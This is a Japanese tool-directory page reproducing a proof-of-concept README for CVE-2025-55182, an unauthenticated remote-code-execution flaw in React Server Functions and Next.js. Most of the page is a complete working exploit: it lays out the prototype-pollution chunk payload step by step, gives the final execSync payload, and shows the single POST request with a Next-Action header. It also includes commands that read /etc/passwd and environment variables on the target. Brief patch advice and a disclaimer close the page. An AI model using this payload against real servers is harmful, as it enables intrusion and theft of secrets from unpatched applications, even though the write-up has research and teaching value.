Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182 — CVE-2025-55182(React Server Functions(Next.js)におけるリモートコード実行の脆弱性)の概念実証エクスプロイトです。細工されたHTTPリクエストを介して、プロトタイプ汚染による認証なしの任意コード実行を実証します。 | Kitploit
ツール/GitHubGitHub/yuta3003/cve-2025-55182
脆弱性分析エクスプロイトウェブアプリケーション悪用CTF論文と研究学習と教育
GitHubyuta3003/cve-2025-55182

CVE-2025-55182

CVE-2025-55182(React Server Functions(Next.js)におけるリモートコード実行の脆弱性)の概念実証エクスプロイトです。細工されたHTTPリクエストを介して、プロトタイプ汚染による認証なしの任意コード実行を実証します。

リポジトリを見る
8ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182

React Server Functions(Next.js等)におけるリモートコード実行(RCE)脆弱性の実証コードです。 プロトタイプ汚染を悪用し、認証なしでサーバー上で任意のコードを実行できます。

注意: このリポジトリは教育・研究目的です。悪用は厳禁です。


概要

影響を受けるバージョン

  • Next.js: 16.0.6以前(脆弱)
  • React: このコミット以前

脆弱性の深刻度

  • CVSS: 高(詳細スコアは未公表)
  • 攻撃難易度: 低(認証不要、単一のHTTPリクエストで攻撃可能)
  • 影響範囲: サーバー上での任意コード実行

脆弱性の原因

React Flight Protocolのデシリアライゼーション処理において、プロトタイプチェーンの検証が不十分。 これにより__proto__経由でFunctionコンストラクタにアクセスし、任意のJavaScriptコードを実行可能。


使い方

Docker環境(推奨)

最も簡単な検証方法です。

root@kitploit:~
# 1. 脆弱なNext.jsサーバーを起動
docker compose up -d --build

# 1. エクスプロイトを実行(デフォルト: idコマンド)
docker compose run --rm poc

# 4. カスタムコマンドを実行
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc

# 5. サーバーを停止
docker-compose down

技術解説

1. 前提知識

React Server Functionsとは

Next.jsなどで提供されるサーバーサイドAPI機能です。

root@kitploit:~
// Server Action(サーバー側でのみ実行される関数)
async function submitForm(formData) {
  'use server'  // ← サーバー関数の宣言

  // データベース操作など、サーバー側の処理
  const result = await db.insert(formData)
  return result
}

クライアントから呼び出すと:

  1. HTTPリクエストとしてサーバーに送信
  2. React Flight Protocolで引数をシリアライズ/デシリアライズ
  3. サーバー側で関数を実行
  4. 結果をクライアントに返す

React Flight Protocolの仕組み

クライアントは「チャンク」と呼ばれる単位でデータを送信します:

root@kitploit:~
files = {
    "0": (None, '["$1"]'),                                  # チャンク0: チャンク1への参照
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # チャンク1: チャンク2のfruitNameを参照
    "2": (None, '{"fruitName":"cherry"}'),                  # チャンク2: 実際のデータ
}

サーバー側でデシリアライズされると:

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

チャンク間で相互参照が可能なのがポイントです。


2. 脆弱性の詳細

問題点

修正コミット以前、チャンク参照を解決する際に、キーが実際にオブジェクトに存在するか検証していませんでした。

これにより、プロトタイプチェーンにアクセスできてしまいます。

基本的な攻撃(Functionコンストラクタの取得)

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

参照の解決過程:

root@kitploit:~
チャンク1のオブジェクト → __proto__ → constructor → constructor → Function

結果:

root@kitploit:~
[Function: Function]  // Functionコンストラクタを取得!

攻撃の発展(thenメソッドの悪用)

チャンク0をオブジェクトにし、thenプロパティをFunctionコンストラクタに設定:

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Next.jsのコード(action-handler.ts:888、パッチ前):

root@kitploit:~
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

このawaitが、thenがFunctionコンストラクタのオブジェクトを呼び出そうとしてエラーに:

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

3. エクスプロイト技術(高度)

課題

Functionコンストラクタは取得できたが、どうやって任意のコードを実行させるか?

必要なもの:

  1. Functionコンストラクタを呼び出すガジェット(コードを文字列として渡す)
  2. 生成された関数を実行するガジェット

解決策: 自己参照チャンク

maple3142氏のアイデア:チャンク0が自分自身を参照する「偽チャンク」を作成。

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),  # 自分のthenをChunk.prototype.thenで上書き
    "1": (None, '"$@0"'),                          # $@0 = チャンク0の「生」の表現
}

$@構文は、解決済みの値ではなく「生のチャンク」を返します:

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

結果:チャンク0のthenがChunk.prototype.thenに置き換えられます。

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {
    case "resolved_model":
      initializeModelChunk(this);  // ← ここに入る
  }
  // ...
}

二段階評価の悪用

偽チャンクにstatus: "resolved_model"を設定すると、initializeModelChunkが呼ばれます:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

initializeModelChunk内部:

root@kitploit:~
function initializeModelChunk(chunk) {
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...
}

ここで2回目の評価が発生します。

最終ペイロード: Blob処理の悪用

React Flight Protocolのblob処理($Bプレフィックス):

root@kitploit:~
case "B":
  return (
    obj = parseInt(value.slice(2), 16),
    response._formData.get(response._prefix + obj)  // ← ここを悪用
  );

偽チャンクの_responseを操作して、_formData.getをFunctionコンストラクタに、_prefixを実行したいコードに設定:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,  # toString()でエラーにならないように
    "value": '{"then": "$B0"}',  # blob参照でthenを設定
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",  # Functionコンストラクタ
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

実行の流れ:

root@kitploit:~
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// この関数がawaitされて呼び出される → コード実行!

4. PoCの動作

poc.pyは上記のペイロードを実装し、コマンド実行結果をエラーメッセージから抽出します:

root@kitploit:~
# コマンド出力をエラーのdigestフィールドに埋め込む
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"

HTTPヘッダーにNext-Action: xを設定するだけで攻撃が成立:

root@kitploit:~
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)

重要: この攻撃はデシリアライゼーション中に発生するため、アクション検証(getActionModIdOrError)の前に実行されます。


対策

開発者向け

  1. 即座にアップデート: ReactとNext.jsを最新版に更新

    root@kitploit:~
    npm update react react-dom next
    
  2. バージョン確認:

    root@kitploit:~
    npm list react next
    
    • Next.js 16.0.7以降
    • React 19.2.1以降(修正コミット含む)
  3. WAF/セキュリティ対策:

    • Next-Actionヘッダーの監視
    • 異常なフォームデータのブロック

脆弱性スキャン

root@kitploit:~
# プロジェクトの脆弱性チェック
npm audit

参考資料

  1. React Server Functions公式ドキュメント
  2. React Flight Protocolの解説
  3. 修正コミット
  4. JavaScriptプロトタイプ解説
  5. Functionコンストラクタ
  6. 発見者: maple3142氏

ライセンスと免責事項

このリポジトリは教育・研究目的のみで提供されています。

  • 許可なく第三者のシステムに対して使用することは違法です
  • 使用によって生じたいかなる損害についても、作成者は責任を負いません
  • セキュリティリサーチャーは責任を持って使用してください

貢献

脆弱性の発見: maple3142 PoC実装: このリポジトリの作成者

ツールをダウンロード